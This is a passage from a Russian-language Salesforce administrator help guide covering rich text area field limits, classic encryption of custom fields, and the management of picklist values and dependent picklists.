использует скрытуюразметку, которая удаляетсяиз записитолькопосле ее сохранения. Принеобходимостиразметка
может быть восстановлена.

• JavaScript или CSS обрабатывается как текст. Например, если идея создается посредством API, то любой код JavaScript
или CSS удаляется без предупреждения. Система Salesforce поддерживает ограниченное количество разрешенных
HTML-тегов.

• Еслиформула содержит поле типа «Область обогащенного текста», то HTML-теги исключаются перед выполнением
формулы.

• Поляобластиобогащенного текстаможнофильтровать. Онислужатисточником сводки в отчетах, однако теги HTML
и особое форматирование не включаются в результаты поиска. Например выражение <b>какой-то</b>
<i>текст</i> получает вид «какой-то текст», а не <b>какой-то</b> <i>текст</i> или какой-то текст.

• Текстоваячастьполя типа «Областьобогащенноготекста» учитывается хранилищемданныхкакобъект, содержащий
поле.

• Текст может быть скопирован из внешних источников (например, Microsoft® Word), но его форматирование может
быть потеряно.

Изображения в полях типа «Область обогащенного текста»

• Максимальный размер изображения для загрузки в поле типа «Область обогащенного текста» составляет 1 Мб.
Поддерживаемые типыфайлов: .gif, .jpg и .png.

• Чтобызагрузитьбольшоеколичествоизображений, воспользуйтесьинтерфейсомAPI 20.0 илиболеепозднейверсии.
Дополнительную информацию см. в Force.com SOAP API Developer's Guide.
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Прим.: При загрузке изображений посредством интерфейса API атрибут alt заполняется только в отдельных
случаях.

• Изображения, загруженные посредством поля типа «Область обогащенного текста», извлекаются при выполнении
еженедельного экспорта организации и добавляются в экспортированные данные.

• Изображениявполяхтипа «Областьобогащенноготекста» учитываютсяхранилищемфайловкакобъект, содержащий
поле.

• Гиперссылка на изображение не может быть добавлена.

СМ. ТАКЖЕ:

Создание настраиваемых полей

Ограничения для поля «Область обогащенного текста»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Помните о следующих ограничениях при работе с полями обогащенного текста.

• Система Salesforce поддерживает не более 131 072 символов для каждого поля типа
«Область обогащенного текста», включая HTML-теги. При необходимости данному
типу поля может быть задана минимальная длина.

• Объект может содержать неограниченное количество полей типа «Область
обогащенного текста» и «Область подробного текста», несмотря на применение
ограничения версии по общему количеству настраиваемых полей, доступному для
объекта, независимо от типа поля. Каждый объект может содержать не более
1,6 миллиона символов во всех полях типа «Область подробного текста» и «Область
обогащенного текста». При создании поля типа «Область подробного текста» или
«Областьобогащенноготекста» рекомендуемзадатьмаксимальнуюдлинувводимого
текста. Поумолчаниюданныеполямогут содержатьнеболее 32 768 символов (32 Кб).
Максимальная длина данных полей может составлять 131 072 символа (128 Кб).
Минимальная длина составляет 256 символов.

• Специальныесимволы (например, маркерыиликавычки) немогутбытьвставленывполе типа «Областьобогащенного
текста» из другого приложения. Введите или вставьте обычный текст и воспользуйтесь редактором обогащенного
текста для его форматирования.

• Некоторыефункцииобластиобогащенноготекстанемогутбытьвыключены. Например, некоторыеполянепозволяют
отменять поддержку гиперссылок или изображений.

• HTML-код не поддерживается HTML-редактором Salesforce. HTML-код обрабатывается как текст.

• Поля типа «Область обогащенного текста» недоступны на порталах самообслуживания.

• Поля типа «Область обогащенного текста» не поддерживаются внешними объектами.

• Фильтр отчета с оператором «содержит» поддерживает только первые 254 символа области подробного или
обогащенного текста.

• Вотчетеотображаются толькопервые 254 символаобластиподробногоилиобогащенноготекста.Текстотображается
полностью после загрузки отчета.
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Классическое шифрование для настраиваемых полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Система Salesforce позволяет ограничивать просмотр настраиваемых текстовых полей
другимипользователями. Просмотрданныхиззашифрованныхнастраиваемыхтекстовых
полейдоступентолькоприналичииполномочия «Просмотр зашифрованныхданных».

Прим.: Данныесведенияотносятся толькокфункцииклассическогошифрования
и не относятся к функциишифрования платформы. Дополнительную
информацию см. в интерактивной справке Salesforce.

Преждечемначатьработу, просмотритеперечисленныенижепримечания, ограничения
и рекомендации.

Примечания по внедрению

• Зашифрованныеполяиспользуютосновныеключидлиною 128 битиалгоритм AES
(расширенный стандарт шифрования). Основной ключшифрования может быть
заархивирован, удаленилиимпортирован. Чтобывключитьфункциюуправленияосновнымиключамишифрования,
обратитесь в компанию Salesforce.

• Зашифрованные поля могут использоваться в шаблонах эл. почты, но их значения всегда скрыты, независимо от
наличия полномочия «Просмотр зашифрованных данных».

• При создании зашифрованных настраиваемых полей убедитесь, что организация использует параметр «Требовать
безопасные подключения (HTTPS)».

• Приналичииполномочия «Просмотрзашифрованныхданных» ипредоставлениидругомупользователюполномочий
входа пользователь может просматривать зашифрованные поля в виде обычного текста.

• Значение зашифрованного поля клонируемой записи может быть клонировано только при наличии полномочия
«Просмотр зашифрованных данных».

• ЗашифрованныеполяотображаютсянастраницахVisualforceтолькопосредствомкомпонента <apex:outputField>.

Ограничения

Зашифрованные текстовые поля...

• не могут быть уникальными, содержать внешний код или стандартные значения.

• интересов недоступны для соотнесения с другими объектами.

• могут содержать не более 175 символов ввиду применения алгоритма шифрования.

• недоступныдля использования вфильтрах (например, фильтры списковыхпредставлений, отчетов, полей сводного
резюмирования и правил).

• не могут использоваться для определения критериев отчетов, но могут быть добавлены в результаты отчетов.

• недоступны для поиска, но могут быть добавлены в результаты поиска.

• недоступны для: Salesforce Classic Mobile, Connect Offline, Salesforce for Outlook, преобразование интересов, критерииили
формулы бизнес-правил, поля формулы, исходящие сообщения, значения по умолчанию иформы Web-to-Lead и
Web-to-Case.

Рекомендации

• Зашифрованныеполядоступныдляредактирования, независимоотналичияполномочия «Просмотрзашифрованных
данных». Чтобыпредотвратитьредактированиезашифрованныхполей, рекомендуемиспользоватьправилапроверки,
параметры безопасности полей или параметры макета страницы.
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• ЗначениязашифрованныхполеймогутбытьпровереныпосредствомправилпроверкиилиApex. Системаподдерживает
оба способа, независимо от наличия полномочия «Просмотр зашифрованных данных».

• Данные зашифрованных полей могут не всегда маскироваться журналом отладки. Данные зашифрованных полей
маскируются при отправке запроса Apex веб-службой Apex, триггером, бизнес-правилом, встроенной страницей
Visualforce (страница, встроенная в макет страницы) илишаблоном эл. почты Visualforce. В других случаях данные
зашифрованныхполейнемаскируютсяжурналомотладки (например, привыполненииApexнаконсолиразработчика).

• Текущиенастраиваемыеполянемогут бытьпреобразованыв зашифрованные, а зашифрованныеполянемогут быть
преобразованы в другой тип данных. Чтобы зашифровать значения текущего (незашифрованного) поля, выполните
экспортданных, создайте зашифрованноенастраиваемоеполедляхраненияданныхивыполнитеимпортэтихданных
в новое зашифрованное поле.

• Поле «Тип маски» не является маской ввода, гарантирующей соответствие данных полю «Тип маски». Чтобы
гарантировать соответствие введенных данных выбранному типу маски, воспользуйтесь правилами проверки.

• Рекомендуемиспользовать зашифрованныенастраиваемыеполя только для соблюдениянормативных актов, так как
данные поля требуют дополнительной обработки и могут быть недоступны для поиска.

СМ. ТАКЖЕ:

Создание настраиваемых полей

Добавление или редактирование значений раскрывающегося списка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения
раскрывающихся списков:
• «Настройка

приложения»

Добавляйте илиредактируйте значения в раскрывающемся списке клиента на странице
полей объекта.

1. Откройте страницу, содержащую поля нужного объекта.

• Для раскрывающихся списков статусов проверки статей базы знаний, в разделе
«Настройка» введите «Статусы проверки» в поле «Быстрый поиск», затем
выберитеСтатусы проверки.

2. Щелкните имя нужного поля раскрывающегося списка в связанном списке
«Настраиваемые поля и взаимосвязи».

3. Щелкните ссылку «Правка» напротив нужного значения в разделе «Значения
раскрывающегося списка».

4. Измените имя значения и при необходимости сделайте значение стандартным для
основного раскрывающегося списка.

5. Назначьте цвет для использования в диаграммах. Для этого нажмите кнопку и
укажите способ выбора цвета для значений.

• «Назначать всем значениямфиксированные цвета»: каждому значению
назначается фиксированный цвет из стандартного набора цветов диаграммы. Столбец «Цвета диаграммы»
отображает назначенные значения. Например, значение «Закрыто/нереализовано» может всегда отображаться
краснымцветомвдиаграммах, сгруппированныхпоэтапувозможности, еслиданномузначениюраскрывающегося
списка назначен красный цвет.

• «Назначатьцветадинамически»: цветаназначаютсяприсозданиидиаграммы. Например, некоторымзначениям
раскрывающегося списка могут быть вручную назначеныфиксированные цвета в диаграммах, тогда как
остальным — статус «Назначено динамически».
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Прим.: Цвета диаграммы недоступны для раскрывающихся списков со множественным выбором и
раскрывающихся списков валют, а также для раскрывающихся списков «Тема задачи», «Тема события», «Статус
проверки базы знаний» и «Конкурент возможности».

Совет:

• При использовании типов записей изменение стандартного значения основного раскрывающегося списка
не влияет на стандартное значение раскрывающегося списка для типа записи.

• Прииспользованиисообщества «Идеи» выборстандартногозначенияраскрывающегосясписка «Категории»
или «Статус» не влияет на стандартное значение на страницах сообщества «Идеи».

• Приизмененииметкидлязначенияраскрывающегосясписка, используемоговкачествекритерияфильтрации,
значение раскрывающегося списка автоматически удаляется из критериев фильтрации. Например, если
отчет содержит фильтр «"Источник интереса" равно "Эл. почта" или "Web"», а пользователь меняет
значение раскрывающегося списка с «Web» на «Referral», то фильтр отчета будет изменен на «"Источник
интереса" равно "Эл. почта"». Измененноезначениераскрывающегосясписка, являющеесяединственным
значением, заданным для отдельного фильтра, будет отображаться в фильтрах вместе с ошибкой.

6. Чтобы открыть список значений, предназначенный для печати, нажмите кнопку «Версия для печати».

7. Нажмите кнопку «Сохранить».

Прим.: Если организация использует средство перевода, уведомите переводчиков о том, что изменение значений
раскрывающегося списка может повлиять на актуальность переводов.

СМ. ТАКЖЕ:

Удаление значения раскрывающегося списка

Удаление значения раскрывающегося списка

Удалите или замените значения настраиваемого раскрывающегося списка, чтобы обновить записи, содержащие поля
раскрывающегося списка.

1. Откройте страницу, содержащую поля нужного объекта.

• Для раскрывающихся списков статусов проверки статей базы знаний, в разделе «Настройка» введите «Статусы
проверки» в поле «Быстрый поиск», затем выберитеСтатусы проверки.

2. Щелкните имя нужного поля раскрывающегося списка в связанном списке «Настраиваемые поля и взаимосвязи».

3. Прокрутите страницу вниз до связанного списка «Значения раскрывающегося списка».

4. Чтобы удалить значение из раскрывающегося списка, нажмите на «Удалить» рядом с именем значения.

Прим.: Некоторыеспециальныераскрывающиесясписки, такиекак возможности «Этап», «Приоритет задачи»,
«Статус задачи», «Статус интересующегося клиента» и «Статус обращения», могут предлагать соотнесение
удаленного значения с другимтекущимзначениемвовсех записяхорганизации. Пользователимогут соотносить
значения или оставлять текущие данные без изменения.

5. Чтобы изменить значения полей раскрывающегося списка в существующих записях, нажмите на «Заменить».

Прим.: При выборе «Ниодного» в качестве нового значения оригинальное значение сохраняется в некоторых
записях, которыесодержатполеэтогораскрывающегосясписка. (Данныенеутеряныдлясуществующихзаписей).

6. Чтобы изменить порядок отображения значений раскрывающегося списка, нажмите на «Изменить порядок».

4523

Работа с настраиваемыми полямиРасширение Salesforce посредством интерактивных
инструментов



Если организациииспользуют типы записей, то некоторые или все значения основного раскрывающегося списка могут
быть добавлены в разные типы записей с целью создания подмножества значений, отображаемого пользователям на
основе профиля.

СМ. ТАКЖЕ:

Добавление или редактирование значений раскрывающегося списка

Раскрывающиеся списки с дополнительными сведениями

Ниже перечислены стандартные поля типа «Раскрывающийся список», которые содержат дополнительные сведения,
доступные для редактирования.

ОписаниеРаскрывающийся список

Роли партнеров организации (например, Consultant или
Supplier). Данные параметры доступны после добавления

Роль партнера  (для организаций)

организации в связанный список организации или
возможности «Партнеры».

Для редактирования введите строку «Роли партнеров» в
поле «Быстрый поиск» в меню «Настройка», затем
выберите «Роли партнеров».

Введите имя роли партнера в столбце «Роль». Введите
соответствующую обратную роль партнера в столбце
«Обратная роль». Назначение роли партнера для
организации создает обратные отношения партнеров,
поэтомуобеорганизацииявляютсядругдругупартнерами.

Каждоезначениеролиилиобратнойролиможетсодержать
не более 40 символов.

Срочность обращения (например, Low или High).

Удаляемое значение может быть соотнесено с другим
текущим значением во всех обращениях организации.

Приоритет  (для обращений)

Каждое значение раскрывающегося списка может
содержать не более 40 символов.

Статус участника кампании (например, «Отправлено» или
«Отвечено»).

Удаляемое значение статуса может быть соотнесено с
другимтекущимзначением. Новоезначениеавтоматически

Статус  (для участников кампании)

добавляется в качестве статуса участника для кампаний,
содержащих удаленное значение.

При удалении стандартного статуса участника кампании
новое значение используется в качестве стандартного
статуса для соответствующей кампании.
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ОписаниеРаскрывающийся список

Статус обращения (например, New или On Hold).

Удаляемое значение может быть соотнесено с другим
текущим значением во всех обращениях организации.

Статус  (для обращений)

Каждое значение раскрывающегося списка может
содержать не более 40 символов.

Статус контракта в бизнес-процессе контракта.
Раскрывающийсясписокможетбытьдополнензначениями,

Статус  (для контрактов)

которым может быть назначена одна из категорий
(например, «Черновик», «В процессе утверждения» или
«Активировано»). Затем данные категории могут
использоваться для сортировки контрактов в отчетах и
представлениях.

Роль контакта для контракта (например, Business User или
Decision Maker). Данные параметры доступны после

Роль контакта  (для контрактов)

добавления контакта в связанный список контракта «Роли
контакта».

Для редактирования введите строку «Роли контактов» в
поле «Быстрый поиск» в меню «Настройка», затем
выберите «Роли контактов в контрактах».

Каждое значение раскрывающегося списка может
содержать не более 40 символов.

Статус интереса (например, Open или Qualified).

Выберите одно значение в качестве стандартного статуса,
который должен назначаться всем новым интересам,

Статус интереса  (для интересов)

созданным вручную, посредством мастера импорта или
веб-сайта. Выберите какминимумодно значение в качестве
преобразованного статуса, который должен назначаться
преобразованным интересам. Перспективному интересу,
который преобразуется в организацию, контакт или
возможность, может быть назначен один из статусов
«Преобразовано». Интересысостатусом «Преобразовано»
недоступны на вкладке «Интересы», но могут быть
добавлены в отчеты.

Удаляемое значение может быть соотнесено с другим
текущим значением во всех интересах организации.

Каждое значение может содержать не более 20 символов.

Роль контакта для возможности (например, Business User
или Decision Maker). Данные параметры доступны после

Роль контакта  (для возможностей)

добавления контакта в связанный список возможности
«Роли контакта».
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ОписаниеРаскрывающийся список

Для редактирования введите строку «Роли контактов» в
поле «Быстрый поиск» в меню «Настройка», затем
выберите «Роли контактов в возможностях».

Каждое значение раскрывающегося списка может
содержать не более 40 символов.

Этапыпроцессапродажи (например, Prospect или Proposal).
Данный раскрывающийся список также влияет на поля

Этап  (для возможностей)

возможности «Тип» и «Категория прогноза». Крометого,
изменение поля «Тип» или «Категория прогноза» для
значения раскрывающегося списка «Этап» инициирует
обновление всех возможностей, содержащих данное
значение этапа.

Для редактирования перейдите к разделу «Поля» в
параметрахуправлениявозможностямиищелкнитекнопку
«Редактировать» рядом со строкой «Этап».

Чтобы деактивировать этап, щелкните ссылку «Удал.»
напротив нужного этапа. Рекомендуем не заменять этап
другим текущим значением на странице соотнесения.
Просто нажмите кнопку «Сохранить». Теперь этап
отображается в связанном списке «Значения
раскрывающегосясписка "Неактивныйэтап"». Этапбольше
недоступен для использования, но может отображаться в
устаревших возможностях.

Статус решения (например, Draft или Reviewed). Пометьте
как минимум одно значение как Reviewed. Если решения

Статус  (для решений)

используютсядляобработкиобращений, топользователи
могут определять решения, которые уже согласованы или
еще не согласованы. Каждое значение раскрывающегося
списка может содержать не более 40 символов.

Важность задачи (например, High, Normal или Low).
Выберите одно значение в качестве стандартного

Приоритет  (для задач)

приоритетадлявсехновыхзадачиоднозначениевкачестве
высшего приоритета.

Удаляемое значение может быть соотнесено с другим
текущим значением во всех задачах организации.

Каждое значение раскрывающегося списка может
содержать не более 20 символов.

Статус задачи (например, Not Started или Completed).
Выберите как минимум одно значение в качестве статуса

Статус  (для задач)

«Закрыто» и одно значение в качестве статуса «По
умолчанию» для всех новых задач.
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ОписаниеРаскрывающийся список

Удаляемое значение может быть соотнесено с другим
текущим значением во всех задачах организации.

Каждое значение раскрывающегося списка может
содержать не более 40 символов.

Значение «Отправить сообщение эл. почты по
умолчанию» определяет стандартный тип задачи,

Тип задачи  (для задач)

назначаемый при отправке задачей сообщения эл. почты
или пакетной электронной рассылки и создании задач
посредством входящего сообщения эл. почты (например,
Email to Salesforce). Значение «По умолчанию» определяет
стандартное значение раскрывающегося списка при
создании задач.

Для редактирования перейдите к разделу «Поля» в
параметрахуправлениявозможностямиищелкнитекнопку
«Редактировать» рядом со значением раскрывающегося
списка, которое требуется установить в качестве значения
по умолчанию.

Замена значений раскрывающегося списка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для замены значений
раскрывающихся списков:
• «Настройка

приложения»

Если деятельность вашего предприятия должна измениться, соответственно измените
значения раскрывающегося списка. Предположим, раскрывающийся список «Статус»
содержит пять значений: «Открыто», «Выполняется», «Закрыто: красный», «Закрыто:
желтый» и «Закрыто: зеленый». А вам требуется только три значения: «Открыто»,
«Выполняется» и «Закрыто». Замените значения «Закрыто: красный», «Закрыто: желтый»
и «Закрыто: зеленый» новым значением: «Закрыто». При глобальной замене значение
поля меняется во всех существующих записях.

Важное замечание: Если вы замените родительское значение в управляющем
раскрывающемсясписке, тозависимостьраскрывающегосяспискаотэтогозначения
будетпотеряна. Послезаменыродительскогозначениязановосоздайтезависимость,
используя новое родительское значение.

1. При необходимости добавьте новое значение на странице редактирования
раскрывающегося списка. См. раздел Добавление или изменение значений
раскрывающегося списка.

2. Откройте область полей соответствующего объекта.

• Для раскрывающихся списков статусов проверки статей базы знаний, в разделе
«Настройка» введите «Статусы проверки» в поле «Быстрый поиск», затем выберитеСтатусы проверки.

3. Щелкните ссылку «Заменить» напротив нужного раскрывающегося списка.

4. Введите значение, которое должно быть изменено, и выберите новое значение.

Прим.: Замена текущего значения раскрывающегося списка инициируетизменение датыи времени, указанных
в поле записи «Изменено».
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5. Чтобы применить новое значение ко всем записям, содержащим пустое поле, выберите «Заменить все пустые
значения».

6. Чтобыобновитьвсе экземплярызначенияв записяхорганизации, щелкните «Заменить». Экземпляры, перемещенные
в корзину, также обновляются. Ваше задание на замену будет поставлено в очередь. Чтобы увидеть статус задания, в
разделе настройки введите «Фоновые задания» в поле «Быстрый поиск», затем выберите «Фоновые задания».
Уведомление о выполнении задания будет отправлено по электронной почте.

Прим.: Замена значения в раскрывающемся списке возможностей «Этап» инициирует обновление значений в
полях «Вероятность», «Категория прогноза» и «Ожидаемый доход».

СМ. ТАКЖЕ:

Создание глобального раскрывающегося списка (пробная версия)

Сортировка раскрывающихся списков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для сортировки
раскрывающихся списков:
• «Настройка

приложения»

1. Перейдите на страницу «Поля» посредством параметров управления для объекта
поля раскрывающегося списка.

Прим.:

• Пользовательские поля задач и событий доступны в разделе параметров
управления объектами для действий.

• Стандартные поля задач доступны в разделе параметров управления
объектами для задач. Стандартные поля событий доступны в разделе
параметров управления объектами для событий.

• Для раскрывающихся списков статусов проверки статей базы знаний, в
разделе «Настройка» введите «Статусы проверки» вполе «Быстрый поиск»,
затем выберитеСтатусы проверки.

2. Щелкните ссылку «Правка» напротив нужного раскрывающегося списка.

3. Нажмите кнопку «Изменить порядок».

4. Чтобы определить порядок отображения поля, воспользуйтесь стрелками.

5. При необходимости выберите значение по умолчанию.

6. Чтобыупорядочить записипоалфавитуна страницахредактирования, установите соответствующийфлажок. Записи
всегда отображаются в алфавитном порядке, независимо от языка пользователя.

7. Сохраните внесенные изменения.

Прим.: Раскрывающиесяспискиираскрывающиесяспискисомножественнымвыбороммогутсодержатьнеактивные
значения на страницах просмотра и редактирования записей. Данные неактивные значения отображаются
последними, кроме случаев применения сортировки по алфавиту. В этом случае все значения отображаются в
алфавитном порядке.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами
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Определение зависимых раскрывающихся списков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Стандартные объекты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения зависимых
раскрывающихся списков:
• «Настройка

приложения»

Чтобы определить зависимый раскрывающийся список, выполните указанные ниже
действия.

1. В разделе настроек управления для объекта, к которому вы хотите добавить поле,
перейдите в раздел «Поля».

Прим.: Пользовательскиеполя задачисобытийдоступнывразделепараметров
управления объектами для действий.

2. Нажмите кнопку «Зависимости полей».

3. Нажмите кнопку «Создать».

4. Выберите управляющее и зависимое поля.

Прим.: Некоторые поля флажков и раскрывающихся списков не могут быть
доступны в качестве управляющих полей.

5. Нажмите кнопку «Продолжить».

6. Чтобы выбрать значения зависимого раскрывающегося списка, которые должны
быть доступны при выборе каждого значения управляющего поля, воспользуйтесь
матрицей зависимости полей.

7. Чтобы протестировать выбранные значения, щелкните «Предварительный
просмотр». Если организация использует типы записей, выберите тип записи для
определения его влияния на значения управляющих и зависимых раскрывающихся списков. Тип записи определяет
значения, доступные в управляющем поле. Тип записи и управляющее поле определяют значения, доступные в
зависимомраскрывающемся списке. Например, зависимое значениедоступнотолько в томслучае, еслионодоступно
в выбранном типе записи и выбранном управляющем значении.

Прим.: Параметр «Фильтровать по типу записи» не отображается при предварительном просмотре
настраиваемых полей действий.

8. Нажмите кнопку «Сохранить».

9. Если организация использует типы записей, убедитесь, что значения управляющего и зависимого раскрывающихся
списков доступны в соответствующих типах записей.

СМ. ТАКЖЕ:

Рекомендации по зависимым раскрывающимся спискам

Изменение раскрывающихся списков

Удаление зависимостей раскрывающегося списка
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Зависимые раскрывающиеся списки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Зависимые раскрывающиеся списки позволяют пользователям указывать точные и
непротиворечивые данные. Зависимый раскрывающийся список — это настраиваемый или
многовариантный раскрывающийся список, допустимые значения которого
определяются значениемдругогополя, котороеназывается управляющим. Управляющим
полем может быть любой раскрывающийся список, содержащий не менее одного, но
не более 300 значений, или поле типа «Кнопка-флажок» той же записи.

Например, определите настраиваемый раскрывающийся список возможностей
«Причина» инастройтезависимостьдоступныхзначенийотзначенияраскрывающегося
списка «Этап».

• Если полю «Этап» задается значение «Закрыто и реализовано», то поле «Причина» может содержать следующие
доступные значения: «Лучшие функции» или «Низкая цена».

• Еслиполю «Этап» задается значение «Закрыто и не реализовано», то поле «Причина» может содержать следующие
доступные значения: «Худшие функции», «Высокая цена» или «Рентабельность компании».

СМ. ТАКЖЕ:

Определение зависимых раскрывающихся списков

Рекомендации по зависимым раскрывающимся спискам

Использование матрицы зависимости полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения
зависимостей
раскрывающегося списка:
• «Настройка

приложения»

Матрицазависимостиполейпозволяетвыбиратьзначениязависимогораскрывающегося
списка, которые должны быть доступны при выборе каждого значения управляющего
поля. Верхняя строка матрицы содержит значения управляющего поля, а столбцы
содержат значения зависимого поля.

Рекомендуемиспользовать даннуюматрицу для включенияилиисключения значений.
Включенные значения доступны в зависимом раскрывающемся списке при выборе
значения управляющего поля. Исключенные значения недоступны в зависимом
раскрывающемся списке для выбранного значения управляющего поля.

Чтобы включить или исключить значения, выполните указанные ниже действия.

• Чтобы включить значения, дваждыщелкните нужные значения. Включенные
значенияотображаютсявыделенными. Чтобыисключитьзначения, дваждыщелкните
нужные выделенные значения.

• Чтобы выбрать диапазон смежных значений, выделите нужное значение, нажмите
клавишу Shift ищелкните другое значение. Чтобы разрешить доступ к значениям,
щелкните «Включить значения». Чтобы удалить значения из списка доступных
значений, щелкните «Исключить значения».

• Чтобы выбрать разные значения, выделите нужное значение, нажмите клавишу CTRL
ищелкнитедругие значения. Чтобыразрешитьдоступк значениям, щелкните «Включитьзначения». Чтобыудалить
значения из списка доступных значений, щелкните «Исключить значения».

• Чтобы выбрать все значения в столбце, щелкните заголовок нужного столбца. Чтобы разрешить доступ к значениям,
щелкните «Включить значения». Чтобы удалить значения из списка доступных значений, щелкните «Исключить
значения».

Чтобы изменить значения в представлении, выполните указанные ниже действия.
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• Чтобы одновременно просмотреть все доступные значения, щелкните «Просмотреть все».

• Чтобы просмотреть все зависимые значения в столбце, щелкните «Перейти к» и выберите нужное управляющее
значение.

• Чтобы просмотреть значения в столбцах, доступных на предыдущей или следующей странице, щелкните «Назад»
или «Далее».

• Чтобы одновременно просмотреть 5 столбцов, щелкните «Просмотр 5 наборов».

Изменение раскрывающихся списков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
зависимостей полей:
• «Настройка

приложения»

1. Изпараметровуправлениядляобъектараскрывающегосяспискаперейдитекразделу
«Поля».

2. Нажмите кнопку «Зависимости полей».

3. Щелкните ссылку «Правка» напротив нужной взаимосвязи.

4. Чтобы выбрать значения зависимого раскрывающегося списка, которые должны
быть доступны при выборе каждого значения управляющего поля, воспользуйтесь
матрицей зависимости полей.

5. Чтобы протестировать выбранные значения, щелкните «Предварительный
просмотр».

6. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами

Удаление зависимостей раскрывающегося списка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления зависимостей
раскрывающегося списка:
• «Настройка

приложения»

Принеобходимостиудалитезависимостьзначенийзависимогораскрывающегосясписка
от управляющего поля. Удаление зависимости инициирует удаление логики,
определяющейзависимость значенийраскрывающегося спискаот управляющегополя,
но не инициирует удаление полей или их данных.

1. Изпараметров управления для объектов списка выбора перейдите к разделу «Поля».

2. Нажмите кнопку «Зависимости полей».

3. Щелкните ссылку «Удал.» напротив нужной взаимосвязи.

4. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами
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Рекомендации по зависимым раскрывающимся спискам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Макеты страниц и интересы
недоступны в версиях:
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
редактирования зависимых
раскрывающихся списков:
• «Настройка

приложения»

Нижеперечисленырекомендациипоопределениюзависимыхраскрывающихсясписков.

Кнопки-флажки
Поля типа «Кнопка-флажок» могут быть управляющими, но не могут быть
зависимыми.

Преобразование полей
Преобразование существующих полей в зависимые раскрывающиеся списки или
управляющие поля не влияет на имеющиеся значения в записях. После
преобразованияправила зависимостиприменяютсякновымзаписямикизменениям
в имеющихся записях.

Стандартные значения
Стандартные значениямогутбыть заданыдля управляющихполей, нонемогутбыть
заданы для зависимых раскрывающихся списков.

Безопасность поля
Параметры безопасности уровня поля для управляющего поля и зависимого
раскрывающегося списка не зависят друг от друга. Не забывайте скрывать
управляющее поле, если его соответствующий раскрывающийся список является
скрытым.

Импорт
Мастерыимпортанеобрабатываютзависимостиполей. Зависимыйраскрывающийся
список позволяет импортировать любое значение, независимо от значения,
импортированного для управляющего поля.

Преобразование интересов
Присозданиизависимостидляполейинтереса, которыесоотносятся сполямиорганизации, контактаивозможности
дляпреобразованияинтереса, рекомендуемсоздатьтакуюжезависимостьидляорганизации, контактаиливозможности.

Зависимые раскрывающиеся списки и управляющие поля интереса могут быть соотнесены с полями организации,
контакта или возможности посредством разных правил зависимости.

Раскрывающиеся списки со множественным выбором
Раскрывающиеся списки со множественным выбором могут быть зависимыми раскрывающимися списками, но не
могут быть управляющими полями.

Стандартные раскрывающиеся списки по сравнению с пользовательскими
Настраиваемые поля раскрывающегося списка могут быть управляющими или зависимыми.

Стандартные поля раскрывающегося списка могут быть управляющими, но не могут быть зависимыми.

Ограничения для раскрывающихся списков
Управляющее поле может иметь до 300 значений. Если поле является и управляющим полем, и зависимым
раскрывающимся списком, оно не может содержать более 300 значений.

Следующие поля недоступны как управляющие поля.

Поля действий
Тип вызова

Создать последовательность событий

Показывать время как

Тема
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Задача

Тип

Поля контактов
Приветствие

Валюта контакта

Поля настраиваемых объектов
Валюта

Поля интересов
Преобразовано

Не прочитано ответственным

Ограничения зависимостей
Перед определением зависимости убедитесь, что ваш раскрывающийся список содержит хотя бы одно значение.
Такие стандартные поля, как «Группа продуктов», не содержат значений, пока вы не добавите их.

Если стандартное управляющее поле использует функцию, которая должна быть отключена в организации, то
правила зависимостидляраскрывающегося спискаотменяются. Например, есливашаорганизацияотключаетпортал
самообслуживания, а поле «Закрыто пользователем портала самообслуживания» является управляющим, тогда его
зависимый раскрывающийся список отображает все доступные значения.

Есливызаменитеродительское значениев управляющемраскрывающемся списке, то зависимостьраскрывающегося
списка будет потеряна. После замены родительского значения заново создайте зависимость, используя новое
родительское значение.

Connect Offline
Несмотря на доступность управляющих полей и зависимых раскрывающихся списков в приложении Connect Offline,
логика между ними недоступна.

Макеты страниц
Убедитесьвналичииуправляющихполейвовсехмакетахстраниц, содержащихсвязанныйзависимыйраскрывающийся
список. Еслиуправляющееполеотсутствует вмакете страницы, то зависимыйраскрывающийсясписокнеотображает
доступные значения.

Дляудобства слабовидящихпользователейубедитесь, что зависимыйраскрывающийсясписокрасполагается вмакете
страницы под соответствующим управляющим полем.

Если зависимый раскрывающийся список является обязательным, но не содержит значений на основе значения
управляющего поля, то запись может быть сохранена без ввода значения. Данное поле записи сохраняется пустым.

Типы записей
Значения управляющих полей определяются выбранным типом записи. Значения зависимых раскрывающихся
списков определяются выбранным типом записи и значением управляющего поля. Другими словами, значения,
